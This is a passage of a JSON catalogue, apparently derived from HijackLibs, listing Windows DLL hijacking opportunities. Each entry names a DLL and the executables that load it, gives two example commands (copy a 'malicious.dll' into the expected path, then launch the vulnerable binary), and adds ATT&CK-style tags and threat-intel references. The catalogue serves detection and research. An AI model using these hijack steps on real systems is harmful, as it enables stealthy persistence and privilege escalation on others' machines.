    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "Reference",
        "url": "https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mscorsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msctf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msctf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\conhost.exe\\\"\"\n\n# msctf.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\conhost.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\mstsc.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\EdgeWebView\\Application\\%VERSION%\\msedgewebview2.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msctf.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msctf.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "msctf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msctf",
    "name": "msctf.dll",
    "namespace": "windows:dllhijack:msctf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msctf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msctfmonitor.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msctfmonitor.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\credwiz.exe\\\"\"\n\n# msctfmonitor.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\credwiz.exe (Sideloading)\n- %SYSTEM32%\\ctfmon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-msctfmonitor.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msctfmonitor.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msctfmonitor.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "streaming"
    ],
    "id": "windows-dllhijack-msctfmonitor",
    "name": "msctfmonitor.dll",
    "namespace": "windows:dllhijack:msctfmonitor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msctfmonitor.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msdrm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msdrm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\gamepanel.exe\\\"\"\n\n# msdrm.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\gamepanel.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\rmactivate.exe (Sideloading)\n- %SYSTEM32%\\rmactivate_isv.exe (Sideloading)\n- %SYSTEM32%\\snippingtool.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-msdrm.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msdrm.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msdrm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-msdrm",
    "name": "msdrm.dll",
    "namespace": "windows:dllhijack:msdrm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msdrm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msdtctm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msdtctm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msdtc.exe\\\"\"\n\n# msdtctm.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msdtctm.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msdtctm.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msdtctm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msdtctm",
    "name": "msdtctm.dll",
    "namespace": "windows:dllhijack:msdtctm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msdtctm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msedge.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft\\\\Edge\\\\Application\\\\%VERSION%\\\\msedge.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft\\\\Edge\\\\Application\\\\%VERSION%\\\\cookie_exporter.exe\\\"\"\n\n# msedge.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft\\Edge\\Application\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\%VERSION%\\cookie_exporter.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-msedge.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msedge.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msedge.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "windows-dllhijack-msedge",
    "name": "msedge.dll",
    "namespace": "windows:dllhijack:msedge",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securelist.com/apt41-in-africa/116986/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msedge.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msedge_elf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft\\\\Edge\\\\Application\\\\%VERSION%\\\\msedge_elf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft\\\\Edge\\\\Application\\\\%VERSION%\\\"\"\n\n# msedge_elf.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft\\Edge\\Application\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\%VERSION% (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-msedge-elf.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msedge_elf.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msedge_elf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "windows-dllhijack-msedge-elf",
    "name": "msedge_elf.dll",
    "namespace": "windows:dllhijack:msedge-elf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.sentinelone.com/labs/chinese-entanglement-dll-hijacking-in-the-asian-gambling-sector/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msedge-elf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msedgeupdate.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft\\\\EdgeUpdate\\\\%VERSION%\\\\msedgeupdate.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft\\\\EdgeUpdate\\\\MicrosoftEdgeUpdate.exe\\\"\"\n\n# msedgeupdate.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft\\EdgeUpdate\\%VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe (Sideloading)\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-msedgeupdate.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msedgeupdate.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msedgeupdate.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "windows-dllhijack-msedgeupdate",
    "name": "msedgeupdate.dll",
    "namespace": "windows:dllhijack:msedgeupdate",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msedgeupdate.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msftedit.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msftedit.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\charmap.exe\\\"\"\n\n# msftedit.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\charmap.exe (Sideloading)\n- %SYSTEM32%\\mspaint.exe (Sideloading)\n- %SYSTEM32%\\searchindexer.exe (Phantom)\n- %SYSTEM32%\\searchprotocolhost.exe (Phantom)\n\n**Acknowledgement:** Adam\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msftedit.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msftedit.dll — Phantom, Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msftedit.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msftedit",
    "name": "msftedit.dll",
    "namespace": "windows:dllhijack:msftedit",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msftedit.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dxpserver.exe\\\"\"\n\n# msi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dxpserver.exe (Sideloading)\n- %SYSTEM32%\\fondue.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\msiexec.exe (Sideloading)\n- %SYSTEM32%\\optionalfeatures.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\packageinspector.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "msi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-msi",
    "name": "msi.dll",
    "namespace": "windows:dllhijack:msi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msidcrl40.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\msn messenger\\\\msidcrl40.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\msn messenger\\\\livecall.exe\\\"\"\n\n# msidcrl40.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\msn messenger\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\msn messenger\\livecall.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-msidcrl40.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msidcrl40.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msidcrl40.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msidcrl40",
    "name": "msidcrl40.dll",
    "namespace": "windows:dllhijack:msidcrl40",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e2787ddbbf2a7304827a17d698f7cede17edbf0633d36f39f4c020ee8f37ccd1"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/448bfca5913e45ec36863ec2e72d959bd1f8ac30e0c794b708b3a6f45a050ef4"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msidcrl40.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msimg32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Haihaisoft PDF Reader\\\\msimg32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Haihaisoft PDF Reader\\\\hpreader.exe\\\"\"\n\n# msimg32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Haihaisoft PDF Reader\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Haihaisoft PDF Reader\\hpreader.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-msimg32.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msimg32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msimg32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msimg32",
    "name": "msimg32.dll",
    "namespace": "windows:dllhijack:msimg32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/2f08e2316a38da2d39d31131a0e3314024ab80756050624afafc1e17b0562d5e/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msimg32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msiso.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msiso.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\browserexport.exe\\\"\"\n\n# msiso.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\browserexport.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-msiso.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msiso.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msiso.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msiso",
    "name": "msiso.dll",
    "namespace": "windows:dllhijack:msiso",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msiso.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mspgimme.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Common Files\\\\Microsoft Shared\\\\MODI\\\\11.0\\\\mspgimme.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Common Files\\\\Microsoft Shared\\\\MODI\\\\11.0\\\\MSPSCAN.EXE\\\"\"\n\n# mspgimme.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Common Files\\Microsoft Shared\\MODI\\11.0\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Common Files\\Microsoft Shared\\MODI\\11.0\\MSPSCAN.EXE (Sideloading)\n\n**Acknowledgement:** Josh Allman\n\n**Acknowledgement:** Jamie Dumas\n\n**Acknowledgement:** Jevon Ang\n",
    "_source": "windows-dllhijack-mspgimme.md",
    "author": "Josh Allman",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mspgimme.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mspgimme.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mspgimme",
    "name": "mspgimme.dll",
    "namespace": "windows:dllhijack:mspgimme",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mspgimme.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mstracer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mstracer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\searchindexer.exe\\\"\"\n\n# mstracer.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\searchindexer.exe (Phantom)\n- %SYSTEM32%\\searchprotocolhost.exe (Phantom)\n\n**Acknowledgement:** Adam\n",
    "_source": "windows-dllhijack-mstracer.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mstracer.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "mstracer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mstracer",
    "name": "mstracer.dll",
    "namespace": "windows:dllhijack:mstracer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mstracer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msutb.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msutb.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ctfmon.exe\\\"\"\n\n# msutb.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ctfmon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msutb.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msutb.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msutb.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msutb",
    "name": "msutb.dll",
    "namespace": "windows:dllhijack:msutb",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msutb.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msvcp110_win.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msvcp110_win.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\agentactivationruntimestarter.exe\\\"\"\n\n# msvcp110_win.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\agentactivationruntimestarter.exe (Sideloading)\n- %SYSTEM32%\\appidpolicyconverter.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\locationnotificationwindows.exe (Sideloading)\n- %SYSTEM32%\\mdmagent.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\provlaunch.exe (Sideloading)\n- %SYSTEM32%\\provtool.exe (Sideloading)\n- %SYSTEM32%\\windowsactiondialog.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-msvcp110-win.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msvcp110_win.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msvcp110_win.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-msvcp110-win",
    "name": "msvcp110_win.dll",
    "namespace": "windows:dllhijack:msvcp110-win",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msvcp110-win.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious msvcp140.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msvcp140.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Java\\\\%VERSION%\\\\bin\\\\jp2launcher.exe\\\"\"\n\n# msvcp140.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Java\\%VERSION%\\bin\\jp2launcher.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-msvcp140.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msvcp140.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "msvcp140.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-msvcp140",
    "name": "msvcp140.dll",
    "namespace": "windows:dllhijack:msvcp140",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/cbaf513e7fd4322b14adcc34b34d793d79076ad310925981548e8d3cff886527"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msvcp140.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msvcr100.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msvcr100.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Java\\\\jre%VERSION%\\\\bin\\\\javacpl.exe\\\"\"\n\n# msvcr100.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Java\\jre%VERSION%\\bin\\javacpl.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Sideloading)\n- cleanospp_64.exe (Search Order)\n\n**Acknowledgement:** Samir\n\n**Acknowledgement:** kinako\n",
    "_source": "windows-dllhijack-msvcr100.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msvcr100.dll — Sideloading, Search Order hijacking (Microsoft)",
    "execution": {
      "template": "msvcr100.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msvcr100",
    "name": "msvcr100.dll",
    "namespace": "windows:dllhijack:msvcr100",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/SBousseaden/status/1530595156055011330"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/sbousseaden/status/1604934564614381571"
      },
      {
        "label": "Reference",
